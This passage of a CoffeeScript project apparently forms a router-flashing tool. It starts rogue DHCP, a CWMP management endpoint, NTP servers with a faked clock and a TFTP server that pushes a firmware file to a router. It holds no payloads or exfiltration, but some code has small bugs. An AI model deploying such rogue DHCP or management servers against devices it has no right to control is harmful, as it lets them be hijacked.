20 | httpd = require './http' 21 | port = require './get-port' 22 | tftp = require './tftp' 23 | 24 | servers = [] 25 | 26 | if args.tftp 27 | servers.push tftp(args)... 28 | else if args.dhcponly 29 | servers.push dhcpd ip, args.acsurl, args.acspass 30 | else 31 | ask ip 32 | .then port 33 | .then (p) -> 34 | u = new URL args.acsurl or "http://#{ ip }" 35 | u.port = p 36 | 37 | url = u.toString() 38 | 39 | console.log "listening for cwmp requests at #{ url }" 40 | 41 | servers.push dhcpd ip, url, args.acspass 42 | servers.push httpd ip, p, url 43 | 44 | if process.platform is 'win32' 45 | rl = require('readline').createInterface 46 | input: process.stdin 47 | output: process.stdout 48 | 49 | rl.on 'SIGINT', -> 50 | process.emit 'SIGINT' 51 | 52 | process.on 'SIGINT', -> 53 | console.log "\nshutting down servers from SIGINT (Ctrl+C)" 54 | 55 | servers.forEach (server) -> 56 | server.close() 57 | 58 | setTimeout -> 59 | process.exit() 60 | , 2000 61 | -------------------------------------------------------------------------------- /src/ips.coffee: -------------------------------------------------------------------------------- 1 | { networkInterfaces } = require 'os' 2 | 3 | module.exports = -> 4 | addr = [] 5 | obj = {} 6 | 7 | for name, details of networkInterfaces() 8 | obj[name] ?= {} 9 | 10 | for { family, internal, address } in details when not internal 11 | if not address.startsWith '2001' 12 | obj[name][family] ?= [] 13 | obj[name][family].push { name, address, family } 14 | 15 | for k, v of obj when v.IPv4? 16 | for s, t of v 17 | addr.push t... 18 | 19 | addr 20 | -------------------------------------------------------------------------------- /src/ntp/client.coffee: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | Packet = require './packet' 4 | 5 | { createSocket } = require 'dgram' 6 | { EventEmitter } = require 'events' 7 | 8 | class NTP extends EventEmitter 9 | 10 | constructor: (options, callback) -> 11 | if typeof options is 'function' 12 | callback = options 13 | options = {} 14 | 15 | Object.assign @, { 16 | server: '127.0.0.1' 17 | port: 123 18 | }, options 19 | 20 | @socket = new createSocket 'udp4' 21 | 22 | if typeof callback is 'function' 23 | @time callback 24 | 25 | time: (callback) -> 26 | { server, port, timeout } = @ 27 | 28 | packet = NTP.createPacket() 29 | 30 | @socket.send packet, 0, packet.length, port, server, (err) => 31 | if err 32 | return callback err 33 | 34 | @socket.once 'message', (data) => 35 | message = NTP.parse(data) 36 | 37 | callback err, message 38 | 39 | @ 40 | 41 | @time: (options, callback) -> 42 | new NTP(options, callback) 43 | 44 | @createPacket: -> 45 | packet = new Packet 46 | packet.mode = Packet.MODES.CLIENT 47 | 48 | packet.toBuffer() 49 | 50 | @parse: (buffer) -> 51 | message = Packet.parse(buffer) 52 | 53 | T1 = message.originateTimestamp 54 | T2 = message.receiveTimestamp 55 | T3 = message.transmitTimestamp 56 | T4 = message.destinationTimestamp 57 | 58 | message.d = T4 - T1 - (T3 - T2) 59 | message.t = (T2 - T1 + T3 - T4) / 2 60 | message 61 | 62 | module.exports = NTP 63 | -------------------------------------------------------------------------------- /src/ntp/index.coffee: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | { createServer } = require './server' 4 | 5 | ntp = createServer (message, response) -> 6 | console.log 'server message:', message 7 | 8 | response message 9 | 10 | ntp.listen 123, (err) -> 11 | console.log 'ntp server is running at %s', ntp.address().port 12 | 13 | module.exports = ntp 14 | -------------------------------------------------------------------------------- /src/ntp/packet.coffee: -------------------------------------------------------------------------------- 1 | assert = require('assert') 2 | 3 | SEVENTY_YEARS = 2208988800 4 | 5 | toMsecs = (buffer, offset) -> 6 | seconds = 0 7 | fraction = 0 8 | 9 | i = 0 10 | 11 | while i < 4 12 | seconds = seconds * 256 + buffer[offset + i] 13 | ++i 14 | 15 | i = 4 16 | 17 | while i < 8 18 | fraction = fraction * 256 + buffer[offset + i] 19 | ++i 20 | 21 | (seconds - SEVENTY_YEARS + fraction / 2 ** 32) * 1000 22 | 23 | writeMsecs = (buffer, offset, ts) -> 24 | seconds = Math.floor(ts / 1000) + SEVENTY_YEARS - SEVENTY_YEARS 25 | fraction = Math.round(ts % 1000 / 1000 * 2 ** 32) 26 | 27 | buffer[offset + 0] = (seconds & 0xFF000000) >> 24 28 | buffer[offset + 1] = (seconds & 0x00FF0000) >> 16 29 | buffer[offset + 2] = (seconds & 0x0000FF00) >> 8 30 | buffer[offset + 3] = seconds & 0x000000FF 31 | 32 | buffer[offset + 4] = (fraction & 0xFF000000) >> 24 33 | buffer[offset + 5] = (fraction & 0x00FF0000) >> 16 34 | buffer[offset + 6] = (fraction & 0x0000FF00) >> 8 35 | buffer[offset + 7] = fraction & 0x000000FF 36 | 37 | buffer 38 | 39 | before = (val) -> 40 | value = parseInt(val.toString().split('.')[0], 10) 41 | 42 | if value then value else 0 43 | 44 | after = (val) -> 45 | value = parseInt(val.toString().split('.')[1], 10) 46 | 47 | if value then value else 0 48 | 49 | class Packet 50 | 51 | @MODES: 52 | CLIENT: 3 53 | SERVER: 4 54 | 55 | constructor: -> 56 | Object.assign @, 57 | leapIndicator: 0 58 | version: 4 59 | mode: 3 60 | stratum: 0 61 | pollInterval: 6 62 | precision: 236 63 | referenceIdentifier: 0 64 | referenceTimestamp: 0 65 | originateTimestamp: 0 66 | receiveTimestamp: 0 67 | transmitTimestamp: 0 68 | 69 | @parse: (buffer) -> 70 | assert.equal buffer.length, 48, 'Invalid Package' 71 | 72 | packet = new Packet 73 | 74 | packet.leapIndicator = buffer[0] >> 6 75 | packet.version = (buffer[0] & 0x38) >> 3 76 | packet.mode = buffer[0] & 0x7 77 | packet.stratum = buffer[1] 78 | packet.pollInterval = buffer[2] 79 | packet.precision = buffer[3] 80 | packet.rootDelay = buffer.slice(4, 8) 81 | packet.rootDispersion = buffer.slice(8, 12) 82 | packet.referenceIdentifier = buffer.slice(12, 16) 83 | 84 | packet.referenceTimestamp = toMsecs(buffer, 16) 85 | packet.originateTimestamp = toMsecs(buffer, 24) 86 | packet.receiveTimestamp = toMsecs(buffer, 32) 87 | packet.transmitTimestamp = toMsecs(buffer, 40) 88 | 89 | packet 90 | 91 | toBuffer: -> 92 | buffer = Buffer.alloc(48).fill(0x00) 93 | buffer[0] = 0 94 | 95 | # 0b11100011; // LI, Version, Mode 96 | 97 | buffer[0] += @leapIndicator << 6 98 | buffer[0] += @version << 3 99 | buffer[0] += @mode << 0 100 | buffer[1] = @stratum 101 | buffer[2] = @pollInterval 102 | buffer[3] = @precision 103 | 104 | buffer.writeUInt32BE @rootDelay, 4 105 | buffer.writeUInt32BE @rootDispersion, 8 106 | buffer.writeUInt32BE @referenceIdentifier, 12 107 | 108 | writeMsecs buffer, 16, @referenceTimestamp 109 | writeMsecs buffer, 24, @originateTimestamp 110 | writeMsecs buffer, 32, @receiveTimestamp 111 | writeMsecs buffer, 40, @transmitTimestamp 112 | 113 | buffer 114 | 115 | toJSON: -> 116 | output = Object.assign {}, @ 117 | 118 | output.version = @version 119 | 120 | output.leapIndicator = { 121 | 0: 'no-warning' 122 | 1: 'last-minute-61' 123 | 2: 'last-minute-59' 124 | 3: 'alarm' 125 | }[@leapIndicator] 126 | 127 | switch @mode 128 | when 1 129 | output.mode = 'symmetric-active' 130 | when 2 131 | output.mode = 'symmetric-passive' 132 | when 3 133 | output.mode = 'client' 134 | when 4 135 | output.mode = 'server' 136 | when 5 137 | output.mode = 'broadcast' 138 | when 0, 6, 7 139 | output.mode = 'reserved' 140 | 141 | if @stratum == 0 142 | output.stratum = 'death' 143 | else if @stratum == 1 144 | output.stratum = 'primary' 145 | else if @stratum <= 15 146 | output.stratum = 'secondary' 147 | else 148 | output.stratum = 'reserved' 149 | 150 | output.referenceTimestamp = new Date(@referenceTimestamp) 151 | output.originateTimestamp = new Date(@originateTimestamp) 152 | output.receiveTimestamp = new Date(@receiveTimestamp) 153 | output.transmitTimestamp = new Date(@transmitTimestamp) 154 | output.destinationTimestamp = new Date(@destinationTimestamp) 155 | 156 | output 157 | 158 | module.exports = Packet 159 | -------------------------------------------------------------------------------- /src/ntp/server.coffee: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | udp = require('dgram') 4 | EventEmitter = require('events') 5 | Packet = require('./packet') 6 | 7 | class NTPServer extends EventEmitter 8 | 9 | @createServer: (options) -> 10 | new NTPServer options 11 | 12 | constructor: (options, onRequest) -> 13 | super() 14 | 15 | if typeof options == 'function' 16 | onRequest = options 17 | options = {} 18 | 19 | Object.assign @, { port: 123 }, options 20 | 21 | @socket = udp.createSocket('udp4') 22 | @socket.on 'message', @parse.bind(@) 23 | 24 | if onRequest 25 | @on 'request', onRequest 26 | 27 | @ 28 | 29 | listen: (port, address) -> 30 | @socket.bind port or @port, address 31 | @ 32 | 33 | address: -> 34 | @socket.address() 35 | 36 | send: (rinfo, message, callback = ->) -> 37 | if message instanceof Packet 38 | message.mode = Packet.MODES.SERVER 39 | message = message.toBuffer() 40 | 41 | console.log 'response', message, 0, message.length, rinfo.port, rinfo.address 42 | @socket.send message, 0, message.length, rinfo.port, rinfo.address 43 | 44 | @socket.send message, rinfo.port, rinfo.server, callback 45 | @ 46 | 47 | parse: (message, rinfo) -> 48 | packet = Packet.parse(message) 49 | 50 | @send rinfo, packet, (err) -> 51 | if err then console.error err 52 | 53 | @ 54 | 55 | module.exports = NTPServer 56 | -------------------------------------------------------------------------------- /src/ntp/server2.coffee: -------------------------------------------------------------------------------- 1 | { EventEmitter } = require 'events' 2 | 3 | util = require 'util' 4 | dgram = require 'dgram' 5 | 6 | class TimeServer extends EventEmitter 7 | constructor: (time, error, version, mode, stratum, delay, dispersion) -> 8 | super 9 | 10 | @_socket = dgram.createSocket('udp4') 11 | 12 | #0=no error, 1=last minute of the day has 61 seconds, 2=last minute of the day has 59 seconds, 3=unknown 13 | ntp_server_error = ('0' + parseInt(error, 10).toString(2)).slice(-2) 14 | 15 | #integer showing NTP server version 16 | ntp_server_version = ('00' + parseInt(version, 10).toString(2)).slice(-3) 17 | 18 | #0=reserved, 1=symmetric active, 2=symmetric passice, 3=client, 4=server, 5=broadcast, 6=NTP control message, 7=reserved for private use 19 | ntp_server_mode = ('00' + parseInt(mode, 10).toString(2)).slice(-3) 20 | 21 | #0=unspecified, 1=primary, 2-15=secondary, 16=unsychronized 22 | ntp_peer_clock_stratum = '1' 23 | ntp_peer_clock_precision = '128' 24 | 25 | #0.000 - 9.999 26 | ntp_root_delay = '0.9900' 27 | 28 | #0.000 - 9.999 29 | ntp_root_dispersion = '0.9900' 30 | 31 | #seconds since 1.1.1900, needs to be added for NTP to date generated by new Date() 32 | ntp_seconds_since_epoch = '2208988800' 33 | 34 | #provided reference ID 35 | ntp_reference_id = [ 78, 85, 76, 76 ] 36 | 37 | if time is '' 38 | createTime = 'recent' 39 | else 40 | createTime = (parseInt(new Date / 1000) - parseInt(time)).toString() 41 | 42 | @_socket.on 'message', (msg, rinfo) => 43 | @emit 'data', 'received message from ' + rinfo.address + ':' + rinfo.port 44 | 45 | if createTime == 'recent' 46 | timestamp = (new Date / 1000).toString() 47 | else 48 | timestamp = (parseInt(new Date / 1000) - parseInt(createTime)).toString() 49 | 50 | # set flags 51 | msg.writeUIntBE parseInt(ntp_server_error + ntp_server_version + ntp_server_mode, 2), 0, 1 52 | 53 | # set peer clock stratum 54 | msg.writeUIntBE parseInt(ntp_peer_clock_stratum, 10), 1, 1 55 | 56 | # set peer clock precision 57 | msg.writeUIntBE parseInt(ntp_peer_clock_precision, 10), 3, 1 58 | 59 | # set root delay seconds 60 | msg.writeUIntBE ntp_root_delay.before(), 4, 2 61 | 62 | # set root delay fraction 63 | msg.writeUIntBE 65535 / 10000 * ntp_root_delay.after(), 6, 2 64 | 65 | # set root dispersion seconds 66 | msg.writeUIntBE parseInt(ntp_root_dispersion.before(), 10), 8, 2 67 | 68 | # set root dispersion fraction 69 | msg.writeUIntBE 65535 / 10000 * ntp_root_dispersion.after(), 10, 2 70 | 71 | #set reference ID 72 | msg.writeUIntBE parseInt(ntp_reference_id[0], 10), 12, 1 73 | msg.writeUIntBE parseInt(ntp_reference_id[1], 10), 13, 1 74 | msg.writeUIntBE parseInt(ntp_reference_id[2], 10), 14, 1 75 | msg.writeUIntBE parseInt(ntp_reference_id[3], 10), 15, 1 76 | 77 | # set reference timestamp 78 | msg.writeUIntBE parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 16, 4 79 | 80 | # set origin timestamp 81 | msg.writeUIntBE parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 24, 4 82 | 83 | # set receive timestamp 84 | msg.writeUIntBE parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 32, 4 85 | 86 | # set transmit timestamp 87 | msg.writeUIntBE parseInt(ntp_seconds_since_epoch, 10) + timestamp.before(), 40, 4 88 | 89 | @_socket.send msg, 0, msg.length, rinfo.port, rinfo.address, (err, bytes) => 90 | if err 91 | throw err 92 | 93 | @emit 'data', 'send response to ' + rinfo.address + ':' + rinfo.port 94 | 95 | @_socket.on 'listening', => 96 | address = @_socket.address() 97 | 98 | @emit 'data', 'server listening ' + address.address + ':' + address.port 99 | 100 | @_socket.on 'error', (err) => 101 | @emit 'data', err 102 | 103 | @_socket.bind 123 104 | 105 | String::before = -> 106 | value = parseInt(@toString().split('.')[0], 10) 107 | #before 108 | if value then value else 0 109 | 110 | String::after = -> 111 | value = parseInt(@toString().split('.')[1], 10) 112 | #after 113 | if value then value else 0 114 | 115 | server = new TimeServer('1220580245', '0', '4', '4', '1', '0.9900', '0.9900') 116 | 117 | server.on 'data', (output) -> 118 | console.log output 119 | 120 | module.exports = TimeServer 121 | -------------------------------------------------------------------------------- /src/tftp.coffee: -------------------------------------------------------------------------------- 1 | fs = require 'fs' 2 | path = require 'path' 3 | 4 | { createServer } = require 'tftp' 5 | { Transform } = require 'stream' 6 | 7 | dhcp = require './dhcp/server' 8 | ips = require('./ips')() 9 | 10 | 11 | class ProgressIndicator extends Transform 12 | constructor: (@size, options) -> 13 | super options 14 | 15 | @last = 0 16 | @bytes = 0 17 | 18 | _transform: (chunk, encoding, cb) -> 19 | @bytes += chunk.length 20 | 21 | percent = @bytes / @size * 100 | 0 22 | 23 | if (percent % 5) is 0 and percent isnt @last 24 | @last = percent 25 | 26 | @emit 'progress', 27 | percent: percent 28 | loaded: @bytes 29 | total: @size 30 | 31 | cb null, chunk 32 | 33 | return 34 | 35 | module.exports = ({ eth, ip, tftp }) -> 36 | if eth? 37 | network = ips.find ({ name }) -> name is eth 38 | 39 | ip ?= network?.address 40 | 41 | addr = ip.split '.' 42 | addr.pop() 43 | addr = addr.join '.' 44 | 45 | dhcpd = dhcp 46 | .createServer 47 | range: [ 48 | addr + '.10' 49 | addr + '.15' 50 | ] 51 | forceOptions: [ 'router', 'hostname', 'bootFile' ] 52 | randomIP: true 53 | netmask: '255.255.255.0' 54 | router: [ ip ] 55 | hostname: 'second.gateway' 56 | broadcast: addr + '.255' 57 | bootFile: (req, res) -> 58 | console.log req, res 59 | 60 | path.basename tftp 61 | server: ip 62 | .on 'listening', (sock, type) -> 63 | { address, port } = sock.address() 64 | 65 | console.log "Waiting for DHCP#{type} request... #{ address }:#{ port }" 66 | .on 'message', (data) -> 67 | console.log '### MESSAGE', JSON.stringify data 68 | .on 'bound', (state, ans) -> 69 | console.log '### BOUND', JSON.stringify state 70 | .on 'error', (err, data) -> 71 | return unless data 72 | 73 | console.log '!!! ERROR', err, data 74 | .listen 67 75 | 76 | server = createServer { 77 | host: '0.0.0.0' 78 | port: 69 79 | denyPUT: true 80 | }, (req, res) -> 81 | console.log 'Received tftp request from', req.stats.remoteAddress, 'for file', req.file 82 | 83 | stats = fs.statSync tftp 84 | 85 | res.setSize stats.size 86 | 87 | firmwareStream = fs.createReadStream tftp 88 | 89 | console.log 'Sending firmware to router...' 90 | 91 | prog = new ProgressIndicator stats.size 92 | 93 | done = false 94 | 95 | prog.on 'progress', ({ percent }) -> 96 | p = Math.round(percent * 100) / 100 97 | 98 | if p % 10 is 0 99 | console.log 'Sent: ' + p + '%' 100 | 101 | if percent >= 100 102 | if done 103 | return 104 | 105 | console.log 'Firmware sent! Now just wait for the router to reboot' 106 | 107 | firmwareStream.close() 108 | 109 | done = true 110 | 111 | return 112 | 113 | firmwareStream 114 | .pipe prog 115 | .pipe res 116 | 117 | req.on 'error', (err) -> 118 | console.error 'ERROR:', err 119 | 120 | server.on 'error', (err) -> 121 | console.error 'ERROR:', err 122 | 123 | console.log 'Starting tftp server, listening on ' + ip + ':69' 124 | 125 | server.listen() 126 | 127 | [ dhcpd, server ] 128 | --------------------------------------------------------------------------------